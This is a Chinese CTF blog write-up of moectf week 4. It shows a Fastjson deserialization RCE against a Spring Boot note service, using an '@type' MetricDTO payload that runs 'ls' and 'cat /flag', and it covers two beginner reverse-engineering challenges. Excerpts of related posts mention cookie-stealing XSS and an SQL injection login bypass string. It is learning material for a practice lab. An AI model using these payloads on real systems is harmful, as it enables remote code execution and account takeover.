moectf-week4

Web

巧乐兹

RCE,SpringBoot,fastjson

这题做了好久…不过真的学到了好多东西！😋

打开是一个公告系统，先试用抓包工具进行初步的分析。
当进行保存的操作时会向 /api/v1/notes 发送 PUT 请求，发送 json 可以直接显示在页面上。

PUT /api/v1/notes HTTP/1.1
Host: 127.0.0.1:62820
Content-Length: 110
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:62820
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:62820/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"title":"你跑不过我你信吗？","text":"跑得快不一定赢，不跌跟头才是成功。","id":8848}

猜测这里应该是个突破口，按照以往的经验来说是要利用这个 PUT 请求来实现 RCE。

题目给的附件是 demo.jar 还是得先稍微搞懂什么是 jar 文件的。
Java-Guide 深入了解 Jar
jar 可将多个 Java 类文件、相关资源文件以及元数据打包成一个单一的文件，方便程序的分发、部署和管理。
使用 jd-gui 来分析这个文件。
查阅资料可以知道，这里使用了 Spring Boot 来进行打包。按理来说我需要重点分析 BOOT-INF 它存放了当前项目的编译类、资源文件。
在 Apicontroller.class 文件下暴露了如下的网页路径

这里都是一些 Spring Boot 的知识，没学过这个内容特别多，不过其实逐个搜索每一行代码其实可以读懂。
@RestController、@GetMapping、@PutMapping 说是注解（注解我也不知道是个啥玩意） 注解是给框架看的标签、配置和指令，应该类似于是一种声明的效果，提示在什么情况下该执行什么。不过这里既然都直接给路径了还是直接在页面上看一下吧。
log 路径下应该是网页运行产生的日志

[2026-09-15 08:32:32] add metric: 'homeDir' [2026-09-15 08:32:32] set metric: 'homeDir'='/root' [2026-09-15 08:32:32] add metric: 'uname' [2026-09-15 08:32:32] set metric: 'uname'='Linux ret2shell-1288-21464-1789461142 6.12.94+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.94-1 (2026-06-20) x86_64 GNU/Linux ' [2026-09-15 08:32:32] add metric: 'uptime' [2026-09-15 08:32:32] set metric: 'uptime'=' 08:32:32 up 77 days, 18:25, 0 users, load average: 1.83, 1.14, 1.04 ' [2026-09-15 08:32:32] upsert note #8848 [2026-09-15 08:32:37] get notes: 1 [2026-09-15 08:33:59] get notes: 1 [2026-09-15 08:37:56] delete note #8848 [2026-09-15 08:37:56] upsert note #8848 [2026-09-15 08:37:56] get notes: 1 [2026-09-15 08:37:57] get notes: 1
```  
homeDir、uname、uptime 是些 linux 的命令。  
metrics 路径下似乎也看不出什么信息
```json
[{"key":"homeDir","value":"/root"},{"key":"uname","value":"Linux ret2shell-1288-21464-1789461142 6.12.94+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.94-1 \u00282026-06-20\u0029 x86_64 GNU/Linux\n"},{"key":"uptime","value":" 08:32:32 up 77 days, 18:25,  0 users,  load average: 1.83, 1.14, 1.04\n"}]

还是重点看这个 PUT 的路径下在干啥吧。

@PutMapping({"/api/v1/notes"})
public Object putNote(@RequestBody NoteDTO note) {
  this.notesService.upsertNote(note);
  return note;
}

不是很看得懂，我猜应该是一个 putNote 的函数，然后 RequestBody 是收到的 json 请求转化为 NoteDTO 的对象然后命名为 note，然后再将 note 作为参数传入 uosertNote。 查看 DTO 有关的 class 发现了可以执行 cmd 命令的地方在这个 MetricDTO 类的 setValueByCommand 函数下。
这里很明显是要我们利用这个类来执行命令，最后获取 flag。那么这里的问题就是我要怎么才能使用这个 MetricDTO.class。
题目信息中还提醒了我们去查看 Fastjson 有关的漏洞。Fastjson反序列化漏洞
Fastjson反序列化漏洞原理
先看一下源代码的 Fastjsonsetup.class ParserConfig的作用及原理 fastjson 可以将 Java 对象转换为 JSON 格式(序列化)，也可以将 JSON 字符串转换为 Java 对象（反序列化）。Fastjson 可以操作任何 Java 对象。

parserConfig.addAccept("com.example.demo.");

这个通过搜索可以得知意思是在反序列化 JSON 时，可以加载 com.example.demo. 包及其子包下的类。

ParserConfig.getGlobalInstance().addAccept 为何导致类加载风险？
那么可以构造一下 @type 的请求来利用 MetricDTO.class 进行 RCE。
先使用 ls 命令看看 RCE 是否成功。

{"@type":"com.example.demo.dto.MetricDTO","ValueByCommand":"ls","id":8848}

这里回显 500，在网页主页上是没有任何变化的。
再查看 /api/v1/log 路径发现命令成功被执行，显示了 app.jar 。
执行cat /flag
moectf{7fa93a0e-4f8f-5c98-a4e6-ff41ba1c2387}

Reverse

Web 还有两题实在不会做，先看看 Re 吧
先看一下启蒙老师
探姬_Official-逆向部分1-7

逆向工程入门指北

这个入门的这个软件感觉好厉害，还能给我画框。

逆向题最开始的准备工作：先分析要逆向的文件的一些基本信息。可以的工具有：DIE、Exeinfo 先利用 DIE 来分析这个 chall 文件的情况：
C 语言，64 位，无壳
再将文件放入 IDA 中进行静态分析。
Shift + F12 可以看到字符串的信息，双击可以定位。
这里需要看懂 IDA 的逻辑，format 是 IDA 起的名字，末尾 0 表示字符串结束，DATA XREF: main + 7F 代表了main 函数引用它，同时也相当于一个地址。 再使用快捷键 X 可以查看交叉引用。
这里要看懂的话需要一点汇编知识，不过点击 F5 可以先查看C语言风格的伪代码先。

这样就好理解很多，这里可以通过颜色来区分一下代码的组成部分。似乎变量啥的用的是蓝色，原来自带的函数用的是黄颜色。
moectf{C0ngr4tuLati0N_On_find1n9_your_1st_RE_f1aggggg!!!}

bbxor

题目同样就给了个 chall 需要我对其进行逆向分析。

没壳，C语言，64位。丢入 IDA 中分析 main 函数。

这里可以看出是一个 Xor 类型的加密。 定位这个 cipher 得到密文

0Bh, 9, 3, 5, 12h, 0, 1Dh, 24h, 52h, 15h, 0Fh, 5, 39h
1Eh, 56h, 14h, 39h, 5, 0Eh, 7, 57h, 0Ah, 3, 8, 1, 3
39h, 15h, 9, 0Ah, 10h, 3, 2, 2 dup(47h), 1Bh

使用赛博厨子来进行 Xor 转化。
moectf{B4sic_x0r_cha1lenge_solved!!}

文章作者: hap

文章链接: https://happasc.github.io/2026/09/15/moectf-week4/

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 happasc-blog！

moectfctf

上一篇

moectf-week5

Moe论坛RCE 木马上传 SUID XSS bot这周就做了这题，这题的知识点比较综合，也感谢管理员给出了一些引导。首先打开是一个登录注册的界面，先注册登录一个账号看看是个什么情况。注册的时候发现是有管理员账号的，估计也是要进行提权操作或者登录管理员账号。 发现有个 admin 的 bot 会每隔一分钟来自动访问这个首页，并且在发布帖子的地方可以用 html 那么猜测是利用 XSS 来让这个 bot 执行某些操作。使用 <script>alert(1)</script> 进行试探。发现是没有过滤 <script> 字段的。 那么接下来就得思考我需要获取什么信息。使用 burpsuite 抓包时发现我们是带有特殊的 cookie 去访问页面的 这里的 role 就很明显让我们切换成 admin 来访问页面。我的第一反应是让这个 bot 访问页面的时候我进行 XSS 页面劫持，让它携带 cookie 等的信息发送到我暴露在公网的 IP 下。混合型 XSS 1234<script> var c = encodeURICompone...

下一篇

moectf-week3

礼崩乐坏JavaScript原链型污染 题目信息： 123我听闻，从前管束子弟，有家法、有规矩、有祖宗传下来的章法。做父亲的教儿子，做兄长的带弟弟，一代一代，都守着本分。可如今呢？家法松了，规矩淡了，晚辈做什么，长辈也未必看得住。这就好比写JavaScript，顶层的写法，像祖宗留下的旧宅，格局分明，门是门、窗是窗；可后来的人，图省事、图新潮，把旧宅拆了，东拼西凑搭个棚子，也能住人。祖宗留下的规矩还在，但已经管不着他们了。这样看来，礼法不是没了，是没人肯照着做了。名分还在，人心却散了。 这题又是原链型污染，相较于上次做了一次升级。 和上一题目一样，也是需要我们通过修改这个继承 Admin 还有 canRead 来提权。 先补充一些知识点JavaScript原型链污染Node.js - __proto__ and Prototype Pollution 了解到 JavaScript 中，我们如果要定义一个类，需要以定义“构造函数”的方式来定义。JavaScript 中每个对象拥有一个原型对象。当一个对象自身没有的属性会向“原型”进行查找。普通 {} 对象通常会有一个原型...

相关推荐

2026-09-22

moectf-week5

Moe论坛RCE 木马上传 SUID XSS bot这周就做了这题，这题的知识点比较综合，也感谢管理员给出了一些引导。首先打开是一个登录注册的界面，先注册登录一个账号看看是个什么情况。注册的时候发现是有管理员账号的，估计也是要进行提权操作或者登录管理员账号。 发现有个 admin 的 bot 会每隔一分钟来自动访问这个首页，并且在发布帖子的地方可以用 html 那么猜测是利用 XSS 来让这个 bot 执行某些操作。使用 <script>alert(1)</script> 进行试探。发现是没有过滤 <script> 字段的。 那么接下来就得思考我需要获取什么信息。使用 burpsuite 抓包时发现我们是带有特殊的 cookie 去访问页面的 这里的 role 就很明显让我们切换成 admin 来访问页面。我的第一反应是让这个 bot 访问页面的时候我进行 XSS 页面劫持，让它携带 cookie 等的信息发送到我暴露在公网的 IP 下。混合型 XSS 1234<script> var c = encodeURICompone...

2026-08-14

moectf-week1

web一些必要的知识网络协议 协议 主要作用 IP 标识网络中的设备，并负责数据包的寻址与传递。 TCP 建立可靠连接，尽可能确保数据完整、有序地到达。 UDP 更加轻量、速度较快，但不保证数据可靠到达。 DNS 将人类容易记忆的域名转换为 IP 地址。 HTTP 在浏览器、客户端与 Web 服务器之间传输数据。 HTTPS 使用 TLS 加密保护通信过程的 HTTP。 WebSocket 在客户端和服务器之间建立持续的双向通信。 moectf Web方向查分系统这题是个静态网页，而且信息全写在了html没有进行任何加密处理，直接搜索关键词moectf就找到flag了。 moectf{y0u_c@n_reAd_th3_h+nn1} Web 安全与渗透测试入门指北这题属于一个入门题目，点击F12moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!} 归途这题需要我们把藏在网页中的key找出来。 首先用F12先找到了Key1-N2ghNUkkTQ==，Key2-QDBtNG9k 随...

2026-09-05

moectf-week3

礼崩乐坏JavaScript原链型污染 题目信息： 123我听闻，从前管束子弟，有家法、有规矩、有祖宗传下来的章法。做父亲的教儿子，做兄长的带弟弟，一代一代，都守着本分。可如今呢？家法松了，规矩淡了，晚辈做什么，长辈也未必看得住。这就好比写JavaScript，顶层的写法，像祖宗留下的旧宅，格局分明，门是门、窗是窗；可后来的人，图省事、图新潮，把旧宅拆了，东拼西凑搭个棚子，也能住人。祖宗留下的规矩还在，但已经管不着他们了。这样看来，礼法不是没了，是没人肯照着做了。名分还在，人心却散了。 这题又是原链型污染，相较于上次做了一次升级。 和上一题目一样，也是需要我们通过修改这个继承 Admin 还有 canRead 来提权。 先补充一些知识点JavaScript原型链污染Node.js - __proto__ and Prototype Pollution 了解到 JavaScript 中，我们如果要定义一个类，需要以定义“构造函数”的方式来定义。JavaScript 中每个对象拥有一个原型对象。当一个对象自身没有的属性会向“原型”进行查找。普通 {} 对象通常会有一个原型...

2026-08-29

moectf-week2

难度有点上来了😥 查分系统_revenge题目信息：老师听说上次发布的系统可以查到所有人的分数，于是老师让沙包AI完善了一下这个系统，这样肯定大家只能凭学号查到自己的成绩了吧（学号为8位数字） 这题是上次查分系统的强化版，上次是可以直接进行search找到flag，这次题目把所有的数据都进行了加密。 那就先读一下代码然后分析怎么来解密吧。 1234567<div class="card"> <h1>数学分析期末成绩查询</h1> <input id="input_sid" class="form-input" placeholder="请输入 8 位学号" maxlength="8"> <button id="btn_search" onclick="searchScore()">查询成绩</button> <div id=&quo...

2026-10-09

CTF 笔记 1

[极客大挑战 2019]EasySQL学习资料 helloctf-sql注入 CSDN-SQL 语法 实战 这里同时具有用户名还有密码可以进行填入。 从后端数据库的操作来看的话应该 1select *from 表 where username= '' &password='' --条件 那么可以采取注释后面密码的方式并且满足条件即可即实现如下效果，选择比较常用的 admin 账号来进行登录。 1select *from 表 where username= 'admin' or '1'='1' -- a' --&password='1' 注意由于这里 sql 的注释 – 后需要空格，所以写为 – a 较为稳妥。 那么则输入admin’ or ‘1’=’1’ – a 或者也可以让后面的密码保持成立 1select *from 表 where username= 'admin' or '1'...

---

评论